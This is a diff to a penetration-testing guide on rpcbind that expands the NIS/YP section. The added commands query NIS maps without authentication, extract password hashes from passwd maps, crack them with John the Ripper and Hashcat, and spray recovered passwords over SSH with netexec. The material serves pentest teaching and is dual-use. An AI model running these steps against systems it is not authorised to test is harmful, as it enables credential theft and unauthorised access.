diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md index 2d14f8ce8e2..ddc481e2717 100644 --- a/src/network-services-pentesting/pentesting-rpcbind.md +++ b/src/network-services-pentesting/pentesting-rpcbind.md @@ -50,33 +50,82 @@ If you find the service NFS then probably you will be able to list and download( Read [2049 - Pentesting NFS service](nfs-service-pentesting.md) to learn more about how to test this protocol. -## NIS +## NIS / YP -Exploring **NIS** vulnerabilities involves a two-step process, starting with the identification of the service `ypbind`. The cornerstone of this exploration is uncovering the **NIS domain name**, without which progress is halted. +**NIS** (also called **YP / Yellow Pages**) frequently appears behind `rpcbind` as `ypbind`, `ypserv`, or `yppasswdd`. On a compromised Unix/Linux host, first verify whether identities are being resolved from NIS before talking directly to the server. ![RPCBind + NFS - NIS: Exploring NIS vulnerabilities involves a two-step process, starting with the identification of the service ypbind. The cornerstone of this exploration is uncovering...](<../images/image (859).png>) -The exploration journey begins with the installation of necessary packages (`apt-get install nis`). The subsequent step requires using `ypwhich` to confirm the NIS server's presence by pinging it with the domain name and server IP, ensuring these elements are anonymized for security. +### Detect NIS-backed accounts from a client -The final and crucial step involves the `ypcat` command to extract sensitive data, particularly encrypted user passwords. These hashes, once cracked using tools like **John the Ripper**, reveal insights into system access and privileges. +```bash +grep -nE '^\+' /etc/passwd /etc/group 2>/dev/null +grep -E '^(passwd|group|shadow|hosts|services|netgroup|rpc):' /etc/nsswitch.conf +domainname +ypwhich +rpcinfo -p | egrep 'ypbind|ypserv|yppasswdd' +``` + +- **`+user`** / **`+@netgroup`** entries inside `/etc/passwd` or `/etc/group` usually mean users or netgroups are being imported from NIS. +- **`passwd: files nis`** or **`shadow: files nis`** in `/etc/nsswitch.conf` confirms that NSS lookups fall back to NIS. +- From a host already enrolled in the NIS domain, `getent passwd` / `getent group` will usually return the merged local + NIS view. + +### Query maps without authentication + +Many legacy NIS deployments still allow **unauthenticated map queries** from any reachable client. Try both direct YP queries and NSS lookups from an enrolled machine: + +```bash +# Directly query a specific NIS domain/server +ypcat -d -h passwd +ypcat -d -h passwd.byname +ypcat -d -h passwd.byuid +ypcat -d -h group.byname +ypcat -d -h hosts.byname +ypcat -d -h netgroup + +# Query through NSS from a joined client +getent passwd +getent group +``` + +The returned records can expose **usernames, UIDs, GIDs, comments/GECOS fields, home directories, login shells, hosts, and netgroup memberships**. + +### Password-hash extraction and cracking workflow + +In insecure environments the `passwd` maps can expose password hashes directly: + +```bash +ypcat -d -h passwd.byname | tee nis-passwd.txt +cut -d: -f1,2 nis-passwd.txt | grep -vE '^[^:]+:[x*!]*$' > nis-hashes.txt + +# Quick format triage +grep ':\$1\$' nis-hashes.txt # MD5Crypt +grep ':\$5\$' nis-hashes.txt # SHA256Crypt +grep ':\$6\$' nis-hashes.txt # SHA512Crypt + +john --format=md5crypt nis-hashes.txt +hashcat -m 500 nis-hashes.txt +``` + +- Hashes beginning with **`$1$`** are **MD5Crypt** (Hashcat **`-m 500`**). +- If the map only returns `x`/`*` placeholders, try other maps or query from an actual NIS client with `getent passwd`. +- After recovering a reused Unix password, spray the **same username/password pair** against other authorized SSH targets before assuming it matches Active Directory credentials. ```bash -# Install NIS tools -apt-get install nis -# Ping the NIS server to confirm its presence -ypwhich -d -# Extract user credentials -ypcat –d –h passwd.byname +netexec ssh hosts.txt -u -p '' ``` -### NIF files +### Useful NIS master files / maps -| **Master file** | **Map(s)** | **Notes** | -| ---------------- | --------------------------- | --------------------------------- | -| /etc/hosts | hosts.byname, hosts.byaddr | Contains hostnames and IP details | -| /etc/passwd | passwd.byname, passwd.byuid | NIS user password file | -| /etc/group | group.byname, group.bygid | NIS group file | -| /usr/lib/aliases | mail.aliases | Details mail aliases | +| **Master file** | **Map(s)** | **Notes** | +| ---------------- | --------------------------- | ---------------------------------------- | +| /etc/passwd | passwd.byname, passwd.byuid | Usernames, shells, home dirs, maybe hash | +| /etc/group | group.byname, group.bygid | Group memberships | +| /etc/hosts | hosts.byname, hosts.byaddr | Hostnames and IPs | +| /etc/netgroup | netgroup | Netgroup-based trust / access rules | +| /etc/services | services.byname | Service name mappings | +| /etc/rpc | rpc.bynumber | RPC service mappings | +| /usr/lib/aliases | mail.aliases | Mail aliases | ## RPC Users @@ -125,6 +174,7 @@ Entry_3: ## References - [Nmap NSE: rpc-grind](https://nmap.org/nsedoc/scripts/rpc-grind.html) +- [NetSPI - Legacy Meets Modern: Breaking AD Through NIS & MFA Infrastructure](https://www.netspi.com/blog/technical-blog/network-pentesting/legacy-meets-modern-breaking-ad-through-nis-mfa-infrastructure/) {{#include ../banners/hacktricks-training.md}}